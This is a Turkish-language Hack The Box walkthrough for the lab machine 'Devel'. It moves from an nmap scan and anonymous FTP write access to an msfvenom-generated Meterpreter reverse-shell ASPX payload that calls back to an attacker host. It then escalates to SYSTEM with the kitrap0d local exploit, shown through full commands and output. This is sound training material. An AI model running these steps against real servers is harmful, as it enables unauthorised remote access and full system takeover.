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Devel

Tarih: 27/07/2021 | Yazar: kuday
Makine Adı Seviye OS Logo
Devel - HTB Kolay Windows

Walkthrough

Nmap taraması ile başlayalım.

Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-27 12:54 EDT
Nmap scan report for 10.10.10.5
Host is up (0.071s latency).
Not shown: 65533 filtered ports
PORT   STATE SERVICE VERSION
21/tcp open  ftp     Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 03-18-17  02:06AM       <DIR>          aspnet_client
| 03-17-17  05:37PM                  689 iisstart.htm
|_03-17-17  05:37PM               184946 welcome.png
| ftp-syst: 
|_  SYST: Windows_NT
80/tcp open  http    Microsoft IIS httpd 7.5
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
|_http-title: IIS7
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: phone|general purpose|specialized
Running (JUST GUESSING): Microsoft Windows Phone|2008|8.1|Vista|7 (90%)
OS CPE: cpe:/o:microsoft:windows cpe:/o:microsoft:windows_server_2008:r2 cpe:/o:microsoft:windows_8.1 cpe:/o:microsoft:windows_8 cpe:/o:microsoft:windows_vista::- cpe:/o:microsoft:windows_vista::sp1 cpe:/o:microsoft:windows_7
Aggressive OS guesses: Microsoft Windows Phone 7.5 or 8.0 (90%), Microsoft Windows Server 2008 R2 (90%), Microsoft Windows Server 2008 R2 or Windows 8.1 (90%), Microsoft Windows Server 2008 R2 SP1 or Windows 8 (90%), Microsoft Windows Vista SP0 or SP1, Windows Server 2008 SP1, or Windows 7 (90%), Microsoft Windows Vista SP2, Windows 7 SP1, or Windows Server 2008 (90%), Microsoft Windows Embedded Standard 7 (88%), Microsoft Windows 8.1 Update 1 (88%), Microsoft Windows 7 or Windows Server 2008 R2 (88%), Microsoft Windows Server 2008 (88%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

TRACEROUTE (using port 80/tcp)
HOP RTT      ADDRESS
1   71.67 ms 10.10.14.1
2   71.61 ms 10.10.10.5

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 122.28 seconds

Görüldüğü üzere FTP anonymous login aktif. Aynı zamanda içeride yazma hakkımızda var bu yüzden hemen kendime bir reverse aspx dosyası oluşturdum.

┌──(root💀kali)-[~/oscp/htb/Devel]
└─# msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.12 LPORT=4444 -f aspx >reverse.aspx
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of aspx file: 2878 bytes

┌──(root💀kali)-[~/oscp/htb/Devel]
└─# ls
reverse.aspx

Daha sonra bu dosyayı sunucuya ftp ile yolladım.

┌──(root💀kali)-[~/oscp/htb/Devel]
└─# ftp 10.10.10.5
Connected to 10.10.10.5.
220 Microsoft FTP Service
Name (10.10.10.5:kali): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> ls
200 PORT command successful.
125 Data connection already open; Transfer starting.
03-18-17  02:06AM       <DIR>          aspnet_client
03-17-17  05:37PM                  689 iisstart.htm
03-17-17  05:37PM               184946 welcome.png
226 Transfer complete.
ftp> put reverse.aspx 
local: reverse.aspx remote: reverse.aspx
200 PORT command successful.
125 Data connection already open; Transfer starting.
226 Transfer complete.
2915 bytes sent in 0.00 secs (17.1603 MB/s)

Hedef sunucuda dosyayı tarayıcıdan tetitlediğimde meterpreter session'ım başladı.

msf6 > use exploit/multi/handler 
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > show options 

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST                      yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target

msf6 exploit(multi/handler) > set lhost 10.10.14.12
lhost => 10.10.14.12
msf6 exploit(multi/handler) > exploit 

[*] Started reverse TCP handler on 10.10.14.12:4444 
[*] Sending stage (175174 bytes) to 10.10.10.5
[*] Meterpreter session 1 opened (10.10.14.12:4444 -> 10.10.10.5:49157) at 2021-07-27 14:42:20 -0400

meterpreter > sysinfo
Computer        : DEVEL
OS              : Windows 7 (6.1 Build 7600).
Architecture    : x86
System Language : el_GR
Domain          : HTB
Logged On Users : 0
Meterpreter     : x86/windows

Bu esnadan sonra post explotion yaptım ve aşağıdaki sonuçları elde ettim. Makine eski olduğundan dolayı hak yükseltmek kolay olacaktı.

meterpreter > run post/multi/recon/local_exploit_suggester 

[*] 10.10.10.5 - Collecting local exploits for x86/windows...
[*] 10.10.10.5 - 38 exploit checks are being tried...
[+] 10.10.10.5 - exploit/windows/local/bypassuac_eventvwr: The target appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/ms10_015_kitrap0d: The service is running, but could not be validated.
[+] 10.10.10.5 - exploit/windows/local/ms10_092_schelevator: The target appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/ms13_053_schlamperei: The target appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/ms13_081_track_popup_menu: The target appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/ms14_058_track_popup_menu: The target appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/ms15_004_tswbproxy: The service is running, but could not be validated.
[+] 10.10.10.5 - exploit/windows/local/ms15_051_client_copy_image: The target appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/ms16_016_webdav: The service is running, but could not be validated.
[+] 10.10.10.5 - exploit/windows/local/ms16_032_secondary_logon_handle_privesc: The service is running, but could not be validated.
[+] 10.10.10.5 - exploit/windows/local/ms16_075_reflection: The target appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/ntusermndragover: The target appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/ppr_flatten_rec: The target appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/tokenmagic: The target appears to be vulnerable.

Yeni bir session başlattım ve exploitleri teker teker denemeye başladım. exploit/windows/local/bypassuac_eventvwr exploitini denediğimde makine crash oldu. Ancak...

meterpreter > sessions 2
[*] Backgrounding session 1...
[-] Invalid session identifier: 2
msf6 exploit(multi/handler) > use exploit/windows/local/ms10_015_kitrap0d
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/ms10_015_kitrap0d) > set session 1
session => 1
msf6 exploit(windows/local/ms10_015_kitrap0d) > show options 

Module options (exploit/windows/local/ms10_015_kitrap0d):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION  1                yes       The session to run this module on.

Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.6.131    yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Windows 2K SP4 - Windows 7 (x86)

msf6 exploit(windows/local/ms10_015_kitrap0d) > set lhost 10.10.14.12
lhost => 10.10.14.12
msf6 exploit(windows/local/ms10_015_kitrap0d) > set lport 4443
lport => 4443
msf6 exploit(windows/local/ms10_015_kitrap0d) > exploit 

[*] Started reverse TCP handler on 10.10.14.12:4443 
[*] Launching notepad to host the exploit...
[+] Process 1704 launched.
[*] Reflectively injecting the exploit DLL into 1704...
[*] Injecting exploit into 1704 ...
[*] Exploit injected. Injecting payload into 1704...
[*] Payload injected. Executing exploit...
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Sending stage (175174 bytes) to 10.10.10.5
[*] Meterpreter session 2 opened (10.10.14.12:4443 -> 10.10.10.5:49158) at 2021-07-27 15:07:58 -0400

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

Hak yükselttim ve flagleri okudum.

meterpreter > cd Desktop 
meterpreter > ls
Listing: c:\Users\babis\Desktop
===============================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100666/rw-rw-rw-  282   fil   2017-03-17 10:17:51 -0400  desktop.ini
100444/r--r--r--  32    fil   2017-03-17 19:14:21 -0400  user.txt.txt

meterpreter > cat user.txt.txt 
9ecdd**************************
meterpreter
Listing: c:\Users\Administrator\Desktop
=======================================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100666/rw-rw-rw-  282   fil   2017-03-17 19:16:53 -0400  desktop.ini
100444/r--r--r--  32    fil   2017-03-17 19:17:20 -0400  root.txt

meterpreter > cat root.txt 
e621***************************
meterpreter >

Not: Özellikle hak yükseltme kısmında https://www.exploit-db.com/docs/turkish/42757-[turkish]-windows-and-linux-privilege-escalation.pdf bağlantısını okumanızı tavsiye ederim.

Kategori:WalkthroughWindows

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